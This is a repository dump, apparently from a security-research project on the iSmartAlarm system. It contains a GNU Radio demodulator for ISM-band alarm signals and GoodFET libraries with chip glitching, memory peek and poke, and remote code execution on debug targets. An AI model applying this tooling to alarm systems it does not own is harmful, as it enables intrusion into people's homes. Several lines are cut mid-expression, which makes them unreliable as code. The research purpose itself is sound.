(self.freq_xlating_fir_filter_xxx_1, 0)) 165 | self.connect((self.rational_resampler_xxx_0, 0), (self.wxgui_fftsink2_0, 0)) 166 | self.connect((self.rational_resampler_xxx_0_0, 0), (self.analog_quadrature_demod_cf_0, 0)) 167 | 168 | def get_symbole_rate(self): 169 | return self.symbole_rate 170 | 171 | def set_symbole_rate(self, symbole_rate): 172 | with self._lock: 173 | self.symbole_rate = symbole_rate 174 | self.set_samp_per_sym(((self.samp_rate/2/self.firdes_decim)*self.rat_interop/self.rat_decim) / self.symbole_rate) 175 | 176 | def get_samp_rate(self): 177 | return self.samp_rate 178 | 179 | def set_samp_rate(self, samp_rate): 180 | with self._lock: 181 | self.samp_rate = samp_rate 182 | self.set_samp_per_sym(((self.samp_rate/2/self.firdes_decim)*self.rat_interop/self.rat_decim) / self.symbole_rate) 183 | self.set_firdes_filter(firdes.low_pass(1,self.samp_rate/2, self.firdes_cutoff, self.firdes_transition_width)) 184 | self.osmosdr_source_0.set_sample_rate(self.samp_rate) 185 | 186 | def get_rat_interop(self): 187 | return self.rat_interop 188 | 189 | def set_rat_interop(self, rat_interop): 190 | with self._lock: 191 | self.rat_interop = rat_interop 192 | self.set_samp_per_sym(((self.samp_rate/2/self.firdes_decim)*self.rat_interop/self.rat_decim) / self.symbole_rate) 193 | 194 | def get_rat_decim(self): 195 | return self.rat_decim 196 | 197 | def set_rat_decim(self, rat_decim): 198 | with self._lock: 199 | self.rat_decim = rat_decim 200 | self.set_samp_per_sym(((self.samp_rate/2/self.firdes_decim)*self.rat_interop/self.rat_decim) / self.symbole_rate) 201 | 202 | def get_frequency_tune(self): 203 | return self.frequency_tune 204 | 205 | def set_frequency_tune(self, frequency_tune): 206 | with self._lock: 207 | self.frequency_tune = frequency_tune 208 | self._frequency_tune_slider.set_value(self.frequency_tune) 209 | self._frequency_tune_text_box.set_value(self.frequency_tune) 210 | self.wxgui_fftsink2_0.set_baseband_freq(self.frequency_center + self.frequency_shift + self.frequency_tune) 211 | self.set_frequency(self.frequency_center + self.frequency_shift + self.frequency_tune) 212 | self.freq_xlating_fir_filter_xxx_1.set_center_freq(self.frequency_shift + self.frequency_tune) 213 | self.set_freq_display(self.frequency_center + self.frequency_shift + self.frequency_tune) 214 | 215 | def get_frequency_shift(self): 216 | return self.frequency_shift 217 | 218 | def set_frequency_shift(self, frequency_shift): 219 | with self._lock: 220 | self.frequency_shift = frequency_shift 221 | self.wxgui_fftsink2_0.set_baseband_freq(self.frequency_center + self.frequency_shift + self.frequency_tune) 222 | self.set_frequency(self.frequency_center + self.frequency_shift + self.frequency_tune) 223 | self.freq_xlating_fir_filter_xxx_1.set_center_freq(self.frequency_shift + self.frequency_tune) 224 | self.set_freq_display(self.frequency_center + self.frequency_shift + self.frequency_tune) 225 | 226 | def get_frequency_center(self): 227 | return self.frequency_center 228 | 229 | def set_frequency_center(self, frequency_center): 230 | with self._lock: 231 | self.frequency_center = frequency_center 232 | self.wxgui_fftsink2_0.set_baseband_freq(self.frequency_center + self.frequency_shift + self.frequency_tune) 233 | self.osmosdr_source_0.set_center_freq(self.frequency_center, 0) 234 | self.set_frequency(self.frequency_center + self.frequency_shift + self.frequency_tune) 235 | self.set_freq_display(self.frequency_center + self.frequency_shift + self.frequency_tune) 236 | 237 | def get_firdes_transition_width(self): 238 | return self.firdes_transition_width 239 | 240 | def set_firdes_transition_width(self, firdes_transition_width): 241 | with self._lock: 242 | self.firdes_transition_width = firdes_transition_width 243 | self.set_firdes_filter(firdes.low_pass(1,self.samp_rate/2, self.firdes_cutoff, self.firdes_transition_width)) 244 | 245 | def get_firdes_decim(self): 246 | return self.firdes_decim 247 | 248 | def set_firdes_decim(self, firdes_decim): 249 | with self._lock: 250 | self.firdes_decim = firdes_decim 251 | self.set_samp_per_sym(((self.samp_rate/2/self.firdes_decim)*self.rat_interop/self.rat_decim) / self.symbole_rate) 252 | 253 | def get_firdes_cutoff(self): 254 | return self.firdes_cutoff 255 | 256 | def set_firdes_cutoff(self, firdes_cutoff): 257 | with self._lock: 258 | self.firdes_cutoff = firdes_cutoff 259 | self.set_firdes_filter(firdes.low_pass(1,self.samp_rate/2, self.firdes_cutoff, self.firdes_transition_width)) 260 | 261 | def get_samp_per_sym(self): 262 | return self.samp_per_sym 263 | 264 | def set_samp_per_sym(self, samp_per_sym): 265 | with self._lock: 266 | self.samp_per_sym = samp_per_sym 267 | self.digital_clock_recovery_mm_xx_0.set_omega(self.samp_per_sym*(1+0.0)) 268 | 269 | def get_myqueue(self): 270 | return self.myqueue 271 | 272 | def set_myqueue(self, myqueue): 273 | with self._lock: 274 | self.myqueue = myqueue 275 | 276 | def get_frequency(self): 277 | return self.frequency 278 | 279 | def set_frequency(self, frequency): 280 | with self._lock: 281 | self.frequency = frequency 282 | 283 | def get_freq_display(self): 284 | return self.freq_display 285 | 286 | def set_freq_display(self, freq_display): 287 | with self._lock: 288 | self.freq_display = freq_display 289 | self._freq_display_static_text.set_value(self.freq_display) 290 | 291 | def get_firdes_filter(self): 292 | return self.firdes_filter 293 | 294 | def set_firdes_filter(self, firdes_filter): 295 | with self._lock: 296 | self.firdes_filter = firdes_filter 297 | self.freq_xlating_fir_filter_xxx_1_0.set_taps((self.firdes_filter)) 298 | 299 | def get_fft_sp(self): 300 | return self.fft_sp 301 | 302 | def set_fft_sp(self, fft_sp): 303 | with self._lock: 304 | self.fft_sp = fft_sp 305 | self.wxgui_fftsink2_0.set_sample_rate(self.fft_sp) 306 | 307 | def get_crc_verbose(self): 308 | return self.crc_verbose 309 | 310 | def set_crc_verbose(self, crc_verbose): 311 | with self._lock: 312 | self.crc_verbose = crc_verbose 313 | 314 | def get_access_code(self): 315 | return self.access_code 316 | 317 | def set_access_code(self, access_code): 318 | with self._lock: 319 | self.access_code = access_code 320 | 321 | 322 | def main(top_block_cls=ism_demod, options=None): 323 | 324 | tb = top_block_cls() 325 | tb.Start(True) 326 | tb.Wait() 327 | 328 | 329 | if __name__ == '__main__': 330 | main() 331 | -------------------------------------------------------------------------------- /grc/ism_demod.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/seekintoo/iSmartAlarm/270fabc544bb94245f8e79276852282832d27e8b/grc/ism_demod.pyc -------------------------------------------------------------------------------- /scripts/GoodFET.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # GoodFET Client Library 3 | # 4 | # (C) 2009 Travis Goodspeed 5 | # 6 | # This code is being rewritten and refactored. You've been warned! 7 | 8 | import sys, time, string, cStringIO, struct, glob, os; 9 | import sqlite3; 10 | 11 | fmt = ("B", " 0: 151 | port = glob_list[0]; 152 | else: 153 | port = os.environ.get("GOODFET"); 154 | if port is None: 155 | glob_list = glob.glob("/dev/tty.usbserial*"); 156 | if len(glob_list) > 0: 157 | port = glob_list[0]; 158 | if port is None: 159 | glob_list = glob.glob("/dev/ttyUSB*"); 160 | if len(glob_list) > 0: 161 | port = glob_list[0]; 162 | if port is None: 163 | glob_list = glob.glob("/dev/ttyU0"); 164 | if len(glob_list) > 0: 165 | port = glob_list[0]; 166 | if port is None and os.name=='nt': 167 | from scanwin32 import winScan; 168 | scan=winScan(); 169 | for order,comport,desc,hwid in sorted(scan.comports()): 170 | try: 171 | if hwid.index('FTDI')==0: 172 | port=comport; 173 | #print "Using FTDI port %s" % port 174 | except: 175 | #Do nothing. 176 | a=1; 177 | 178 | baud=115200; 179 | if(os.environ.get("platform")=='arduino' or os.environ.get("board")=='arduino'): 180 | baud=19200; #Slower, for now. 181 | self.serialport = serial.Serial( 182 | port, 183 | #9600, 184 | baud, 185 | parity = serial.PARITY_NONE, 186 | timeout=timeout 187 | ) 188 | 189 | self.verb=0; 190 | attempts=0; 191 | connected=0; 192 | while connected==0: 193 | while self.verb!=0x7F or self.data!="http://goodfet.sf.net/": 194 | #while self.data!="http://goodfet.sf.net/": 195 | #print "'%s'!=\n'%s'" % (self.data,"http://goodfet.sf.net/"); 196 | if attemptlimit is not None and attempts >= attemptlimit: 197 | return 198 | elif attempts==2 and os.environ.get("board")!='telosb': 199 | print "See the GoodFET FAQ about missing info flash."; 200 | self.serialport.timeout=0.2; 201 | elif attempts == 100: 202 | print "Tried 100 times to connect and failed." 203 | sys.stdout.write("Continuing to try forever.") # No newline 204 | sys.stdout.flush() 205 | self.verbose=True # Something isn't going right, give the user more info 206 | elif attempts > 100 and attempts % 10 == 0: 207 | sys.stdout.write('.') 208 | sys.stdout.flush() 209 | #self.serialport.flushInput() 210 | #self.serialport.flushOutput() 211 | 212 | #TelosB reset, prefer software to I2C SPST Switch. 213 | if (os.environ.get("board")=='telosb'): 214 | #print "TelosB Reset"; 215 | self.telosBReset(); 216 | elif (os.environ.get("board")=='z1'): 217 | self.bslResetZ1(invokeBSL=0); 218 | elif (os.environ.get("board")=='apimote1') or (os.environ.get("board")=='apimote'): 219 | #Explicitly set RTS and DTR to halt board. 220 | self.serialport.setRTS(1); 221 | self.serialport.setDTR(1); 222 | #RTS pin, not DTR is used for reset. 223 | self.serialport.setRTS(0); 224 | #print "Resetting Apimote not yet tested."; 225 | else: 226 | #Explicitly set RTS and DTR to halt board. 227 | self.serialport.setRTS(1); 228 | self.serialport.setDTR(1); 229 | #Drop DTR, which is !RST, low to begin the app. 230 | self.serialport.setDTR(0); 231 | 232 | #self.serialport.write(chr(0x80)); 233 | #self.serialport.write(chr(0x80)); 234 | #self.serialport.write(chr(0x80)); 235 | #self.serialport.write(chr(0x80)); 236 | 237 | 238 | #self.serialport.flushInput() 239 | #self.serialport.flushOutput() 240 | #time.sleep(60); 241 | attempts=attempts+1; 242 | self.readcmd(); #Read the first command. 243 | #print "Got %02x,%02x:'%s'" % (self.app,self.verb,self.data); 244 | if self.verb!=0x7f: 245 | #Retry again. This usually times out, but helps connect. 246 | self.readcmd(); 247 | #print "Retry got %02x,%02x:'%s'" % (self.app,self.verb,self.data); 248 | #Here we have a connection, but maybe not a good one. 249 | #print "We have a connection." 250 | connected=1; 251 | if attempts >= 100: 252 | print "" # Add a newline 253 | olds=self.infostring(); 254 | clocking=self.monitorclocking(); 255 | for foo in range(1,30): 256 | if not self.monitorecho(): 257 | if self.verbose: 258 | print "Comm error on %i try, resyncing out of %s." % (foo, 259 | clocking); 260 | connected=0; 261 | break; 262 | if self.verbose: print "Connected after %02i attempts." % attempts; 263 | self.mon_connected(); 264 | self.serialport.timeout=12; 265 | def serClose(self): 266 | self.serialport.close(); 267 | def telosSetSCL(self, level): 268 | self.serialport.setRTS(not level) 269 | def telosSetSDA(self, level): 270 | self.serialport.setDTR(not level) 271 | 272 | def telosI2CStart(self): 273 | self.telosSetSDA(1) 274 | self.telosSetSCL(1) 275 | self.telosSetSDA(0) 276 | 277 | def telosI2CStop(self): 278 | self.telosSetSDA(0) 279 | self.telosSetSCL(1) 280 | self.telosSetSDA(1) 281 | 282 | def telosI2CWriteBit(self, bit): 283 | self.telosSetSCL(0) 284 | self.telosSetSDA(bit) 285 | time.sleep(2e-6) 286 | self.telosSetSCL(1) 287 | time.sleep(1e-6) 288 | self.telosSetSCL(0) 289 | 290 | def telosI2CWriteByte(self, byte): 291 | self.telosI2CWriteBit( byte & 0x80 ); 292 | self.telosI2CWriteBit( byte & 0x40 ); 293 | self.telosI2CWriteBit( byte & 0x20 ); 294 | self.telosI2CWriteBit( byte & 0x10 ); 295 | self.telosI2CWriteBit( byte & 0x08 ); 296 | self.telosI2CWriteBit( byte & 0x04 ); 297 | self.telosI2CWriteBit( byte & 0x02 ); 298 | self.telosI2CWriteBit( byte & 0x01 ); 299 | self.telosI2CWriteBit( 0 ); # "acknowledge" 300 | 301 | def telosI2CWriteCmd(self, addr, cmdbyte): 302 | self.telosI2CStart() 303 | self.telosI2CWriteByte( 0x90 | (addr << 1) ) 304 | self.telosI2CWriteByte( cmdbyte ) 305 | self.telosI2CStop() 306 | def bslResetZ1(self, invokeBSL=0): 307 | ''' 308 | Applies BSL entry sequence on RST/NMI and TEST/VPP pins 309 | Parameters: 310 | invokeBSL = 1: complete sequence 311 | invokeBSL = 0: only RST/NMI pin accessed 312 | 313 | By now only BSL mode is accessed 314 | ''' 315 | 316 | #if DEBUG > 1: sys.stderr.write("* bslReset(invokeBSL=%s)\n" % invokeBSL) 317 | if invokeBSL: 318 | #sys.stderr.write("in Z1 bsl reset...\n") 319 | time.sleep(0.1) 320 | self.writepicROM(0xFF, 0xFF) 321 | time.sleep(0.1) 322 | #sys.stderr.write("z1 bsl reset done...\n") 323 | else: 324 | #sys.stderr.write("in Z1 reset...\n") 325 | time.sleep(0.1) 326 | self.writepicROM(0xFF, 0xFE) 327 | time.sleep(0.1) 328 | #sys.stderr.write("z1 reset done...\n") 329 | def writepicROM(self, address, data): 330 | ''' Writes data to @address''' 331 | for i in range(7,-1,-1): 332 | self.picROMclock((address >> i) & 0x01) 333 | self.picROMclock(0) 334 | recbuf = 0 335 | for i in range(7,-1,-1): 336 | s = ((data >> i) & 0x01) 337 | #print s 338 | if i < 1: 339 | r = not self.picROMclock(s, True) 340 | else: 341 | r = not self.picROMclock(s) 342 | recbuf = (recbuf << 1) + r 343 | 344 | self.picROMclock(0, True) 345 | #k = 1 346 | #while not self.serial.getCTS(): 347 | # pass 348 | #time.sleep(0.1) 349 | return recbuf 350 | def readpicROM(self, address): 351 | ''' reads a byte from @address''' 352 | for i in range(7,-1,-1): 353 | self.picROMclock((address >> i) & 0x01) 354 | self.picROMclock(1) 355 | recbuf = 0 356 | r = 0 357 | for i in range(7,-1,-1): 358 | r = self.picROMclock(0) 359 | recbuf = (recbuf << 1) + r 360 | self.picROMclock(r) 361 | #time.sleep(0.1) 362 | return recbuf 363 | 364 | #This seems more reliable when slowed. 365 | def picROMclock(self, masterout, slow = True): 366 | #print "setting masterout to "+str(masterout) 367 | self.serialport.setRTS(masterout) 368 | self.serialport.setDTR(1) 369 | #time.sleep(0.02) 370 | self.serialport.setDTR(0) 371 | if slow: 372 | time.sleep(0.02) 373 | return self.serialport.getCTS() 374 | 375 | def picROMfastclock(self, masterout): 376 | #print "setting masterout to "+str(masterout) 377 | self.serialport.setRTS(masterout) 378 | self.serialport.setDTR(1) 379 | self.serialport.setDTR(0) 380 | time.sleep(0.02) 381 | return self.serialport.getCTS() 382 | 383 | def telosBReset(self,invokeBSL=0): 384 | # "BSL entry sequence at dedicated JTAG pins" 385 | # rst !s0: 0 0 0 0 1 1 386 | # tck !s1: 1 0 1 0 0 1 387 | # s0|s1: 1 3 1 3 2 0 388 | 389 | # "BSL entry sequence at shared JTAG pins" 390 | # rst !s0: 0 0 0 0 1 1 391 | # tck !s1: 0 1 0 1 1 0 392 | # s0|s1: 3 1 3 1 0 2 393 | 394 | if invokeBSL: 395 | self.telosI2CWriteCmd(0,1) 396 | self.telosI2CWriteCmd(0,3) 397 | self.telosI2CWriteCmd(0,1) 398 | self.telosI2CWriteCmd(0,3) 399 | self.telosI2CWriteCmd(0,2) 400 | self.telosI2CWriteCmd(0,0) 401 | else: 402 | self.telosI2CWriteCmd(0,3) 403 | self.telosI2CWriteCmd(0,2) 404 | 405 | # This line was not defined inside the else: block, not sure where it 406 | # should be however 407 | self.telosI2CWriteCmd(0,0) 408 | time.sleep(0.250) #give MSP430's oscillator time to stabilize 409 | self.serialport.flushInput() #clear buffers 410 | 411 | 412 | def getbuffer(self,size=0x1c00): 413 | writecmd(0,0xC2,[size&0xFF,(size>>16)&0xFF]); 414 | print "Got %02x%02x buffer size." % (self.data[1],self.data[0]); 415 | def writecmd(self, app, verb, count=0, data=[]): 416 | """Write a command and some data to the GoodFET.""" 417 | self.serialport.write(chr(app)); 418 | self.serialport.write(chr(verb)); 419 | 420 | #if data!=None: 421 | # count=len(data); #Initial count ignored. 422 | 423 | #print "TX %02x %02x %04x" % (app,verb,count); 424 | 425 | #little endian 16-bit length 426 | self.serialport.write(chr(count&0xFF)); 427 | self.serialport.write(chr(count>>8)); 428 | 429 | if self.verbose: 430 | print "Tx: ( 0x%02x, 0x%02x, 0x%04x )" % ( app, verb, count ) 431 | 432 | #print "count=%02x, len(data)=%04x" % (count,len(data)); 433 | 434 | if count!=0: 435 | if(isinstance(data,list)): 436 | for i in range(0,count): 437 | #print "Converting %02x at %i" % (data[i],i) 438 | data[i]=chr(data[i]); 439 | #print type(data); 440 | outstr=''.join(data); 441 | self.serialport.write(outstr); 442 | if not self.besilent: 443 | return self.readcmd() 444 | else: 445 | return [] 446 | 447 | def readcmd(self): 448 | """Read a reply from the GoodFET.""" 449 | while 1:#self.serialport.inWaiting(): # Loop while input data is available 450 | try: 451 | #print "Reading..."; 452 | self.app=ord(self.serialport.read(1)); 453 | #print "APP=%02x" % self.app; 454 | self.verb=ord(self.serialport.read(1)); 455 | 456 | #Fixes an obscure bug in the TelosB. 457 | if self.app==0x00: 458 | while self.verb==0x00: 459 | self.verb=ord(self.serialport.read(1)); 460 | 461 | #print "VERB=%02x" % self.verb; 462 | self.count=( 463 | ord(self.serialport.read(1)) 464 | +(ord(self.serialport.read(1))<<8) 465 | ); 466 | 467 | if self.verbose: 468 | print "Rx: ( 0x%02x, 0x%02x, 0x%04x )" % ( self.app, self.verb, self.count ) 469 | 470 | #Debugging string; print, but wait. 471 | if self.app==0xFF: 472 | if self.verb==0xFF: 473 | print "# DEBUG %s" % self.serialport.read(self.count) 474 | elif self.verb==0xFE: 475 | print "# DEBUG 0x%x" % struct.unpack(fmt[self.count-1], self.serialport.read(self.count))[0] 476 | elif self.verb==0xFD: 477 | #Do nothing, just wait so there's no timeout. 478 | print "# NOP."; 479 | 480 | sys.stdout.flush(); 481 | else: 482 | self.data=self.serialport.read(self.count); 483 | return self.data; 484 | except TypeError: 485 | if self.connected: 486 | print "Warning: waiting for serial read timed out (most likely)."; 487 | #print "This shouldn't happen after syncing. Exiting for safety."; 488 | #sys.exit(-1) 489 | return self.data; 490 | #Glitching stuff. 491 | def glitchApp(self,app): 492 | """Glitch into a device by its application.""" 493 | self.data=[app&0xff]; 494 | self.writecmd(self.GLITCHAPP,0x80,1,self.data); 495 | #return ord(self.data[0]); 496 | def glitchVerb(self,app,verb,data): 497 | """Glitch during a transaction.""" 498 | if data==None: data=[]; 499 | self.data=[app&0xff, verb&0xFF]+data; 500 | self.writecmd(self.GLITCHAPP,0x81,len(self.data),self.data); 501 | #return ord(self.data[0]); 502 | def glitchstart(self): 503 | """Glitch into the AVR application.""" 504 | self.glitchVerb(self.APP,0x20,None); 505 | def glitchstarttime(self): 506 | """Measure the timer of the START verb.""" 507 | return self.glitchTime(self.APP,0x20,None); 508 | def glitchTime(self,app,verb,data): 509 | """Time the execution of a verb.""" 510 | if data==None: data=[]; 511 | self.data=[app&0xff, verb&0xFF]+data; 512 | print "Timing app %02x verb %02x." % (app,verb); 513 | self.writecmd(self.GLITCHAPP,0x82,len(self.data),self.data); 514 | time=ord(self.data[0])+(ord(self.data[1])<<8); 515 | print "Timed to be %i." % time; 516 | return time; 517 | def glitchVoltages(self,low=0x0880, high=0x0fff): 518 | """Set glitching voltages. (0x0fff is max.)""" 519 | self.data=[low&0xff, (low>>8)&0xff, 520 | high&0xff, (high>>8)&0xff]; 521 | self.writecmd(self.GLITCHAPP,0x90,4,self.data); 522 | #return ord(self.data[0]); 523 | def glitchRate(self,count=0x0800): 524 | """Set glitching count period.""" 525 | self.data=[count&0xff, (count>>8)&0xff]; 526 | self.writecmd(self.GLITCHAPP,0x91,2, 527 | self.data); 528 | #return ord(self.data[0]); 529 | 530 | 531 | #Monitor stuff 532 | def silent(self,s=0): 533 | """Transmissions halted when 1.""" 534 | self.besilent=s; 535 | print "besilent is %i" % self.besilent; 536 | self.writecmd(0,0xB0,1,[s]); 537 | connected=0; 538 | def mon_connected(self): 539 | """Announce to the monitor that the connection is good.""" 540 | self.connected=1; 541 | self.writecmd(0,0xB1,0,[]); 542 | def out(self,byte): 543 | """Write a byte to P5OUT.""" 544 | self.writecmd(0,0xA1,1,[byte]); 545 | def dir(self,byte): 546 | """Write a byte to P5DIR.""" 547 | self.writecmd(0,0xA0,1,[byte]); 548 | def call(self,adr): 549 | """Call to an address.""" 550 | self.writecmd(0,0x30,2, 551 | [adr&0xFF,(adr>>8)&0xFF]); 552 | def execute(self,code): 553 | """Execute supplied code.""" 554 | self.writecmd(0,0x31,2,#len(code), 555 | code); 556 | def MONpeek8(self,address): 557 | """Read a byte of memory from the monitor.""" 558 | self.data=[address&0xff,address>>8]; 559 | self.writecmd(0,0x02,2,self.data); 560 | #self.readcmd(); 561 | return ord(self.data[0]); 562 | def MONpeek16(self,address): 563 | """Read a word of memory from the monitor.""" 564 | return self.MONpeek8(address)+(self.MONpeek8(address+1)<<8); 565 | def peek(self,address): 566 | """Read a word of memory from the monitor.""" 567 | return self.MONpeek8(address)+(self.MONpeek8(address+1)<<8); 568 | def eeprompeek(self,address): 569 | """Read a word of memory from the monitor.""" 570 | print "EEPROM peeking not supported for the monitor."; 571 | #return self.MONpeek8(address)+(self.MONpeek8(address+1)<<8); 572 | def peekbysym(self,name): 573 | """Read a value by its symbol name.""" 574 | #TODO include memory in symbol. 575 | reg=self.symbols.get(name); 576 | return self.peek8(reg,"data"); 577 | def pokebysym(self,name,val): 578 | """Write a value by its symbol name.""" 579 | #TODO include memory in symbol. 580 | reg=self.symbols.get(name); 581 | return self.pokebyte(reg,val); 582 | def pokebyte(self,address,value,memory="vn"): 583 | """Set a byte of memory by the monitor.""" 584 | self.data=[address&0xff,address>>8,value]; 585 | self.writecmd(0,0x03,3,self.data); 586 | return ord(self.data[0]); 587 | def poke16(self,address,value): 588 | """Set a word of memory by the monitor.""" 589 | self.MONpoke16(address,value); 590 | def MONpoke16(self,address,value): 591 | """Set a word of memory by the monitor.""" 592 | self.pokebyte(address,value&0xFF); 593 | self.pokebyte(address,(value>>8)&0xFF); 594 | return value; 595 | def setsecret(self,value): 596 | """Set a secret word for later retreival. Used by glitcher.""" 597 | #self.eeprompoke(0,value); 598 | #self.eeprompoke(1,value); 599 | print "Secret setting is not yet suppored for this target."; 600 | print "Aborting."; 601 | 602 | def getsecret(self): 603 | """Get a secret word. Used by glitcher.""" 604 | #self.eeprompeek(0); 605 | print "Secret getting is not yet suppored for this target."; 606 | print "Aborting."; 607 | sys.exit(); 608 | 609 | def dumpmem(self,begin,end): 610 | i=begin; 611 | while i 5 | # 6 | # This code is being rewritten and refactored. You've been warned! 7 | 8 | import sys; 9 | import binascii; 10 | 11 | from GoodFET import GoodFET; 12 | from intelhex import IntelHex; 13 | 14 | import xml.dom.minidom, time, os; 15 | 16 | class GoodFETCC(GoodFET): 17 | """A GoodFET variant for use with Chipcon 8051 Zigbee SoC.""" 18 | APP=0x30; 19 | 20 | smartrfpath=None; 21 | def __init__(self,filename=None): 22 | """GoodFETCC constructor. 23 | Mostly concerned with finding SmartRF7.""" 24 | if self.smartrfpath==None: 25 | self.smartrfpath=os.environ.get("SMARTRF"); 26 | if self.smartrfpath==None and os.name=='nt': 27 | pf=os.environ['PROGRAMFILES']; 28 | self.smartrfpath="%s\\\\Texas Instruments\\\\SmartRF Tools\\\\SmartRF Studio 7" % pf; 29 | 30 | if self.smartrfpath==None: 31 | self.smartrfpath="/opt/smartrf7"; 32 | 33 | haveloadedsymbols=False; 34 | def loadsymbols(self): 35 | if self.haveloadedsymbols: 36 | return; 37 | try: 38 | self.SRF_loadsymbols(); 39 | self.haveloadedsymbols=True; 40 | except: 41 | ident=self.CCident(); 42 | if ident==0x0000 or ident==0xFFFF: 43 | print "Chip ID is 0x%04x, implying a wiring problem." % ident; 44 | else: 45 | print "SmartRF not found for chip 0x%04x." % ident; 46 | def SRF_chipdom(self,chip="cc1110", doc="register_definition.xml"): 47 | #def SRF_chipdom(self,chip="cc1110", doc="workingconfig.xml"): 48 | """Loads the chip XML definitions from SmartRF7.""" 49 | fn="%s/config/xml/%s/%s" % (self.smartrfpath,chip,doc); 50 | #print "Opening %s" % fn; 51 | return xml.dom.minidom.parse(fn) 52 | 53 | def CMDrs(self,args=[]): 54 | """Chip command to grab the radio state.""" 55 | #try: 56 | self.SRF_radiostate(); 57 | #except: 58 | # print "Error printing radio state."; 59 | # print "SmartRF not found at %s." % self.smartrfpath; 60 | 61 | def CMDrss(self,args=[]): 62 | self.SRF_radiostate_select(); 63 | 64 | def SRF_bitfieldstr(self,bf): 65 | name="unused"; 66 | start=0; 67 | stop=0; 68 | access=""; 69 | reset="0x00"; 70 | description=""; 71 | for e in bf.childNodes: 72 | if e.localName=="Name" and e.childNodes: name= e.childNodes[0].nodeValue; 73 | elif e.localName=="Start": start=e.childNodes[0].nodeValue; 74 | elif e.localName=="Stop": stop=e.childNodes[0].nodeValue; 75 | return " [%s:%s] %30s " % (start,stop,name); 76 | 77 | def SRF_radiostate(self): 78 | ident=self.CCident(); 79 | chip=self.CCversions.get(ident&0xFF00); 80 | dom=self.SRF_chipdom(chip,"register_definition.xml"); 81 | for e in dom.getElementsByTagName("registerdefinition"): 82 | for f in e.childNodes: 83 | if f.localName=="DeviceName": 84 | print "// %s RadioState" % (f.childNodes[0].nodeValue); 85 | elif f.localName=="Register": 86 | name="unknownreg"; 87 | address="0xdead"; 88 | description=""; 89 | bitfields=""; 90 | for g in f.childNodes: 91 | if g.localName=="Name": 92 | name=g.childNodes[0].nodeValue; 93 | elif g.localName=="Address": 94 | address=g.childNodes[0].nodeValue; 95 | elif g.localName=="Description": 96 | if g.childNodes: 97 | description=g.childNodes[0].nodeValue; 98 | elif g.localName=="Bitfield": 99 | bitfields+="%17s/* %-50s */\n" % ("",self.SRF_bitfieldstr(g)); 100 | #print "SFRX(%10s, %s); /* %50s */" % (name,address, description); 101 | print "%-10s=0x%02x; /* %-50s */" % ( 102 | name,self.CCpeekdatabyte(eval(address)), description); 103 | if bitfields!="": print bitfields.rstrip(); 104 | 105 | def SRF_radiostate_select(self,args=[]): 106 | lreg = [] 107 | ident=self.CCident(); 108 | chip=self.CCversions.get(ident&0xFF00); 109 | dom=self.SRF_chipdom(chip,"register_definition.xml"); 110 | for reg in args: 111 | if reg.lower() == "help": 112 | lreg = "help" 113 | break 114 | lreg.append(reg.lower()) 115 | for e in dom.getElementsByTagName("registerdefinition"): 116 | for f in e.childNodes: 117 | if f.localName=="DeviceName": 118 | print "// %s RadioState" % (f.childNodes[0].nodeValue); 119 | elif f.localName=="Register": 120 | name="unknownreg"; 121 | address="0xdead"; 122 | description=""; 123 | bitfields=""; 124 | for g in f.childNodes: 125 | if g.localName=="Name": 126 | name=g.childNodes[0].nodeValue; 127 | elif g.localName=="Address": 128 | address=g.childNodes[0].nodeValue; 129 | elif g.localName=="Description": 130 | if g.childNodes: 131 | description=g.childNodes[0].nodeValue; 132 | elif g.localName=="Bitfield": 133 | bitfields+="%17s/* %-50s */\n" % ("",self.SRF_bitfieldstr(g)); 134 | #print "SFRX(%10s, %s); /* %50s */" % (name,address, description); 135 | if lreg == "help": 136 | print "%-10s /* %-50s */" % (name, description); 137 | elif name.lower() in lreg: 138 | print "%-10s=0x%02x; /* %-50s */" % ( 139 | name,self.CCpeekdatabyte(eval(address)), description); 140 | if bitfields!="": print bitfields.rstrip(); 141 | 142 | def RF_getrate(self): 143 | rate=self.peek(0x06)&0x28; 144 | if rate==0x20: 145 | rate=250*10**3; #256kbps 146 | elif rate==0x08: 147 | rate=2*10**6; #2Mbps 148 | elif rate==0x00: 149 | rate=1*10**6; #1Mbps 150 | return rate; 151 | 152 | def RF_setrate(self,rate=2*10**6): 153 | r6=self.peek(0x06); #RF_SETUP register 154 | r6=r6&(~0x28); #Clear rate fields. 155 | if rate==2*10**6: 156 | r6=r6|0x08; 157 | elif rate==1*10**6: 158 | r6=r6; 159 | elif rate==250*10**3: 160 | r6=r6|0x20; 161 | print "Setting r6=%02x." % r6; 162 | self.poke(0x06,r6); #Write new rate. 163 | 164 | def RF_setpacketlen(self,len=16): 165 | """Set the number of bytes in the expected payload.""" 166 | self.poke(0x11,len); 167 | self.packetlen=len; 168 | 169 | def RF_getpacketlen(self): 170 | """Set the number of bytes in the expected payload.""" 171 | len=self.peek(0x11); 172 | self.packetlen=len; 173 | return len; 174 | 175 | maclen = 5; 176 | def RF_getmaclen(self): 177 | """Get the number of bytes in the MAC address.""" 178 | choices=[2, 3, 4, 5]; 179 | choice=self.peek(0x03)&3; 180 | self.maclen=choices[choice]; 181 | return self.maclen; 182 | 183 | def RF_setmaclen(self,len): 184 | """Set the number of bytes in the MAC address.""" 185 | choices=["illegal", "illegal", 186 | 0, #undocumented 187 | 1, 2, 3 #documented 188 | ]; 189 | choice=choices[len]; 190 | self.poke(0x03,choice); 191 | self.maclen=len; 192 | 193 | def RF_setfreq(self,frequency): 194 | """Set the frequency in Hz.""" 195 | #FIXME CC1110 specific 196 | #Some frequencies fail, probably and FSCAL thing. 197 | 198 | hz=frequency; 199 | freq=int(hz/396.728515625); 200 | 201 | freq0=freq&0xFF; 202 | freq1=(freq&0xFF00)>>8; 203 | freq2=(freq&0xFF0000)>>16; 204 | 205 | self.pokebysym("FREQ2",freq2); 206 | self.pokebysym("FREQ1",freq1); 207 | self.pokebysym("FREQ0",freq0); 208 | 209 | self.pokebysym("TEST1",0x31); 210 | self.pokebysym("TEST0",0x09); 211 | 212 | 213 | #self.pokebysym("FSCAL2" , 0x2A); #above mid 214 | self.pokebysym("FSCAL2" , 0x0A); #beneath mid 215 | 216 | #self.CC_RFST_CAL(); #SCAL 217 | #time.sleep(1); 218 | 219 | 220 | def RF_getfreq(self): 221 | """Get the frequency in Hz.""" 222 | #FIXME CC1110 specific 223 | 224 | #return (2400+self.peek(0x05))*10**6 225 | #self.poke(0x05,chan); 226 | 227 | #freq2=self.CCpeekdatabyte(0xdf09); 228 | 